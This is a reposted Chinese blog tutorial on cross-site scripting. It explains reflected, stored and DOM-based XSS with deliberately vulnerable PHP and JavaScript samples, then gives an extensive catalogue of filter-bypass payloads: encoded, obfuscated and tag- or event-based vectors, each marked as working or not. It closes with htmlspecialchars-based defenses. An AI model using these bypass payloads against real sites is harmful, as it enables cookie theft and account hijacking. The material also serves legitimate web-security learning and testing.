经验首页 前端设计 程序设计 Java相关 移动开发 数据库/运维 软件/图像 大数据/云计算 其他经验
当前位置:技术经验 » 其他 » 网络安全 » 查看文章
xss-代码角度理解与绕过filter
来源:cnblogs  作者:Dark1nt  时间:2021/6/7 9:10:19  对本文有异议

0x00 原理

xss全称为cross site scripting,中文为跨站脚本攻击。它允许web用户将恶意代码植入到提供给用户使用的页面。代码包括HTML代码和客户端脚本。

0x01 危害

  • 盗取用户账户(获取cookie)
  • 控制网页数据
  • 盗窃企业资料
  • 非法转账
  • 强制发送电子邮件
  • 网站挂马
  • 控制受害者机器向其他网站发起攻击

0x02 xss类别以及代码实现

0x02.1 反射型xss

反射型xss也叫非持久性xss,是一种常见的xss漏洞,但是危害较小。

后端代码

  1. <?php
  2. highlight_file('reflect_xss.php');
  3. $user=$_GET['user'];
  4. echo $user;
  5. ?>

前端测试


可以看到我们的js代码被直接插入进了页面执行。

根据需求可以构造各种各样的js代码


因为没设置cookie 所以不弹cookie

0x02.2 存储型xss

存储型xss也被称做持久型xss,存储xss是最危险的一种跨站脚本。它被服务器接收并储存,用户访问该网页,这段xss就会被读取出来到浏览器。
一般出现在留言板

后端代码(拆了dvwa的xss存储做测试)

  1. <?php
  2. if( isset( $_POST[ 'btnSign' ] ) ) {
  3. // Get input
  4. $message = trim( $_POST[ 'mtxMessage' ] );
  5. $name = trim( $_POST[ 'txtName' ] );
  6. // Sanitize message input
  7. $message = stripslashes( $message );
  8. $message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  9. // Sanitize name input
  10. $name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
  11. // Update database
  12. $query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
  13. $result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
  14. //mysql_close();
  15. }
  16. ?>

审计源码 我们可以发现,先检测了用户是否输入,然后对输入的名字和内容进行检测,最后将值插入到数据库中

前端测试


在当前页面刷新后,会重新进行sql查询,将查询到的结果返回到页面上。


所以可以通过这种方式去获取他人cookie,实现登录他人账号。

0x02.3 dom型xss

dom型xss只发生在客户端处理数据阶段,可认为dom型xss就是出现在javascript中的漏洞。

前端代码

  1. <html>
  2. <head>
  3. <title>aa</title>
  4. </head>
  5. <body>
  6. <script>
  7. var temp=document.URL;
  8. var index=document.URL.indexOf("content=")+4;
  9. var par=temp.substring(index);
  10. document.write(decodeURI(par));
  11. </script>
  12. </body>
  13. </html>

关键是script标签下的代码,因为用到了document.write 使得用户输入的代码被写入到了页面上。

前端测试


0x03 xss常见payload中用到的标签

  1. <script>
  2. <a>
  3. <p>
  4. <img>
  5. <body>
  6. <button>
  7. <var>
  8. <div>
  9. <iframe>
  10. <object>
  11. <input>
  12. <select>
  13. <textarea>
  14. <keygen>
  15. <frameset>
  16. <embed>
  17. <svg>
  18. <math>
  19. <video>
  20. <audio>
  21. <style>

0x04 xss常见payload中用到的事件

  1. onload
  2. onunload
  3. onchange
  4. onsubmit
  5. onreset
  6. onselect
  7. onblur
  8. onfocus
  9. onabort
  10. onkeydown
  11. onkeypress
  12. onkeyup
  13. onclick
  14. ondbclick
  15. onmouseover
  16. onmousemove
  17. onmouseout
  18. onmouseup
  19. onforminput
  20. onformchange
  21. ondrag
  22. ondrop

0x05 xss常见payload中用到的属性

  1. formaction
  2. action
  3. href
  4. xlink:href
  5. autofocus
  6. src
  7. content
  8. data

0x06 xss绕过的一些技巧

属性与属性之间需要空格,而属性与标签之间可以不用

  • <img/src=x onerror=alert(1)> 通杀各种xss漏洞

使用html实体编码

  • <a href=j&#x61;v&#97script&#x3A;&#97lert(13)>M 一般用于dom型

xlink:href隐藏链接

  • <svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg> 通杀

jsfuck编码弹窗

  • <script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script> 一般用于dom型
    网站: http://www.jsfuck.com/

aaencode编码弹窗

  • <script>?ω??= /`m′)? ~┻━┻ //*′?`*/ ['_']; o=(???) =_=3; c=(?Θ?) =(???)-(???); (?Д?) =(?Θ?)= (o^_^o)/ (o^_^o);(?Д?)={?Θ?: '_' ,?ω?? : ((?ω??==3) +'_') [?Θ?] ,???? :(?ω??+ '_')[o^_^o -(?Θ?)] ,?Д??:((???==3) +'_')[???] }; (?Д?) [?Θ?] =((?ω??==3) +'_') [c^_^o];(?Д?) ['c'] = ((?Д?)+'_') [ (???)+(???)-(?Θ?) ];(?Д?) ['o'] = ((?Д?)+'_') [?Θ?];(?o?)=(?Д?) ['c']+(?Д?) ['o']+(?ω?? +'_')[?Θ?]+ ((?ω??==3) +'_') [???] + ((?Д?) +'_') [(???)+(???)]+ ((???==3) +'_') [?Θ?]+((???==3) +'_') [(???) - (?Θ?)]+(?Д?) ['c']+((?Д?)+'_') [(???)+(???)]+ (?Д?) ['o']+((???==3) +'_') [?Θ?];(?Д?) ['_'] =(o^_^o) [?o?] [?o?];(?ε?)=((???==3) +'_') [?Θ?]+ (?Д?) .?Д??+((?Д?)+'_') [(???) + (???)]+((???==3) +'_') [o^_^o -?Θ?]+((???==3) +'_') [?Θ?]+ (?ω?? +'_') [?Θ?]; (???)+=(?Θ?); (?Д?)[?ε?]='\\'; (?Д?).?Θ??=(?Д?+ ???)[o^_^o -(?Θ?)];(o???o)=(?ω?? +'_')[c^_^o];(?Д?) [?o?]='\"';(?Д?) ['_'] ( (?Д?) ['_'] (?ε?+(?Д?)[?o?]+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+((???) + (?Θ?))+ (c^_^o)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ ((???) + (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ ((???) + (o^_^o))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (???)+ (?Д?)[?ε?]+(???)+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (?Θ?)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) - (?Θ?))+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ (???)+ (o^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+(?Θ?)+ ((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (?Д?)[?ε?]+(?Θ?)+ ((o^_^o) +(o^_^o))+ (???)+ (?Д?)[?ε?]+(???)+ ((o^_^o) - (?Θ?))+ (?Д?)[?ε?]+((???) + (?Θ?))+ (?Θ?)+ (?Д?)[?o?]) (?Θ?)) ('_');</script> 一般用于dom型

网站: https://www.jisuan.mobi/pHNNNNHzz6z3NJyX.html

并不需要规范的script

  • <script ????>alert(1)</script> 通杀

使用unicode编码+html实体编码

  • <script/src=data&colon;text/j\u0061v\u0061&#115&#99&#114&#105&#112&#116,\u0061lert(/XSS/)></script> 一般用到html实体编码的只能杀dom型

使用unicode编码

  • <script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script> 通杀

不使用alert,使用别的事件弹窗

  • <script>prompt(-[])</script> 通杀

  • <script>confirm(-[])</script> 通杀

使用/替代单引号和双引号

  • <script>alert(/3/)</script> 通杀

使用String.fromCharCode 转成 字符

  • <script>alert(String.fromCharCode(49))</script> 通杀

执行代码后加.source不影响代码执行 加其他字符可能出现undefine

  • <script>alert(/shit/.source)</script> 通杀

使用settimeout输出alert

  • <script>setTimeout('alert(1)',0)</script> 通杀

经典button alert

  • <button/onclick=alert(1) >M</button> 通杀

过滤了所以on开头事件

  • <form><button formaction=javascript&colon;alert(1)>M 一般适用于dom xss

无限弹,弹到死

  • <button onfocus=alert(1) autofocus> 通杀

插入p标签

  • <p/onmouseover=javascript:alert(1); >M</p> 通杀
    鼠标移动到M

img标签常用Payload

  • <img src=x onerror=alert(1)> 通杀
  • <img src ?itworksonchrome?\/onerror = alert(1)> 通杀,但只适用于谷歌
  • <img src=x onerror=window.open('http://google.com');> 会被谷歌拦截
  • <img/src/onerror=alert(1)> 通杀,适用于谷歌
  • <img src="x:kcf" onerror="alert(1)"> 通杀

body标签常用payload

  • <body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus> 通杀
  • <body onload=alert(1)> 通杀
    其实就是通过事件执行弹窗
  • <body%20onclick=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input%20autofocus> 通杀

var标签常用payload

  • <var onmouseover="prompt(1)">KCF</var> 通杀

div标签常用payload

  • <div/onmouseover='alert(1)'>X 通杀
  • <div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)"> 通杀

    隐藏执行

iframe标签常用payload

可以通过实体编码 &Tab(换行和tab字符)来bypass一些filter。可以通过事先在swf文件中插入我们的xss code,然后通过src属性来调用。
只有在crossdomain.xml文件中,allow-access-from domain=“"允许从外部调用swf时,我们才可以通过flash来实现xss attack.

  • <iframe src=j&NewLine;&Tab;a&NewLine;&Tab;&Tab;v&NewLine;&Tab;&Tab;&Tab;a&NewLine;&Tab;&Tab;&Tab;&Tab;s&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;c&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;i&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;p&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&colon;a&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;l&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;e&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;r&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;t&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%28&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;1&NewLine;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;&Tab;%29></iframe> 一般用于dom型xss

  • <iframe src=j&Tab;a&Tab;v&Tab;a&Tab;s&Tab;c&Tab;r&Tab;i&Tab;p&Tab;t&Tab;:a&Tab;l&Tab;e&Tab;r&Tab;t&Tab;%28&Tab;1&Tab;%29></iframe> 一般用于dom型xss

  • <iframe%20SRC="http://xss/xss.swf"></iframe> 调用flash xss 通杀

  • <IFRAME SRC="javascript:alert(1);"></IFRAME> 通杀

  • <iframe/onload=alert(53)></iframe> 通杀

meta标签常用payload

文章标题跑到meta标签里。只需要跳出当前属性再添加http-equiv="refresh",就可以构造一个有效的xss payload

  • <meta http-equiv="refresh" content="0;javascript&colon;alert(1)"/>? 测试失败
  • <meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E"> 测试失败

object标签常用payload

  • <object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object> 通杀

marquee标签常用payload

  • <marquee onstart="alert('sometext')">as</marquee> 测试失败
    很有意思的标签
  • <marquee%20%20onclick=javascript:alert(/xss/)>as</marquee> 通杀

isindex标签常用payload

  • <isindex type=image src=1 onerror=alert(1)> 测试失败
  • <isindex action=javascript:alert(1) type=image> 测试失败

input标签常用payload

input和Button差不多

  • <input onfocus=javascript:alert(1) autofocus> 通杀
  • <input onblur=javascript:alert(1) autofocus><input autofocus> 通杀

select标签常用payload

  • <select onfocus=javascript:alert(1) autofocus> 通杀

textarea标签常用payload

  • <textarea onfocus=javascript:alert(1) autofocus> 通杀

keygen标签常用payload

  • <keygen onfocus=javascript:alert(1) autofocus> 测试失败

frameset标签常用payload

  • <FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET> 测试失败
  • <frameset onload=alert(1)> 测试失败

embed标签常用payload

  • <embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed> 通杀 适用谷歌

  • <embed src=javascript:alert(1)> 通杀 适用火狐

svg标签常用payload

  • <svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg> 通杀
  • <svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg> 测试失败 谷歌

math标签常用payload

  • <math href="javascript:javascript:alert(1)">CLICKME</math> 测试失败
  • <math><y/xlink:href=javascript:alert(51)>test1 测试失败

xlink:href="javascript:alert(49)">CLICKME ``` 测试失败

vedio标签常用payload

  • <video><source onerror="alert(1)"> 通杀
  • <video src=x onerror=alert(48)> 通杀

audio标签常用Payload

  • <audio src=x onerror=alert(47)> 通杀

凡是on开头事件后出现javascript:都是多余的

0x07 xss防御方式

将<> 转成html实体编码显示在页面

&(和号)成为&amp
“(双引号)成为&quot
‘(单引号)成为&#039
<(小于)成为&lt >( 大于)成为&gt

  • htmlspecialchars()函数 通杀所有需要构造标签的payload. 厉不厉害?不给hacker们留活路呢

后端代码

  1. <?php
  2. highlight_file('htmlspecialchars_xss.php');
  3. $user=$_GET['user'];
  4. echo htmlspecialchars($user);
  5. ?>

前端测试




在源代码中我们可以看到php函数htmlspecialchars将所有<> 都转成了对应的html实体编码,博客园里也用了这种方法。



默认转义了双引号和<>,其实已经够了

  1. <?php
  2. highlight_file('htmlspecialchars_xss.php');
  3. $user=$_GET['user'];
  4. #echo htmlspecialchars($user,ENT_COMPAT); 默认编码双引号
  5. #echo htmlspecialchars($user,ENT_QUOTES); 编码双引号和单引号
  6. #echo htmlspecialchars($user,ENT_NOQUOTES); 不编码任何引号
  7. ?>
  • 使用了ENT_COMPAT

  • 使用了ENT_QUOTES

  • 使用了ENT_NOQUOTES

0x08 xss里的<>被转义了怎么绕过?

已经有办法绕了,但是不能完全绕(必须某种特定情况)

  • 如果用户输入的是直接插入到页面中,则需要自己构造标签,这种一般就不用考虑绕了,基本上是在浪费时间。
  • 如果用户输入的是插入到页面为我们构造好的标签里,我们不用自己构造标签,那就有很多方法来绕过了。

后端代码

  1. <?php
  2. highlight_file('htmlspecialchars_xss.php');
  3. $user=$_GET['user'];
  4. $html='<p value='.htmlspecialchars($user).'>登录</p>';
  5. echo $html;
  6. ?>

只是简单演示一下,实际情况有非常多,都是将用户输入的代码直接插入了标签中的某个属性里,而且还是使用了默认的htmlspecialchars 不转义单引号,万变不离其中。

前端测试



正常转义
构造payload

  • a onclick=javascript:alert(/xss/)



在源码中可以看到标签完美闭合

返回页面 点击登录 弹窗

0x08 xss payload检测网站

url: https://xsschop.chaitin.cn/demo/

0x09 xss真正防御方式

函数不重要,重要的是开发者的安全意识。

原文链接:http://www.cnblogs.com/Dark1nt/p/14852560.html

 友情链接:直通硅谷  点职佳  北美留学生论坛

本站QQ群:前端 618073944 | Java 606181507 | Python 626812652 | C/C++ 612253063 | 微信 634508462 | 苹果 692586424 | C#/.net 182808419 | PHP 305140648 | 运维 608723728

W3xue 的所有内容仅供测试,对任何法律问题及风险不承担任何责任。通过使用本站内容随之而来的风险与本站无关。
关于我们  |  意见建议  |  捐助我们  |  报错有奖  |  广告合作、友情链接(目前9元/月)请联系QQ:27243702 沸活量
皖ICP备17017327号-2 皖公网安备34020702000426号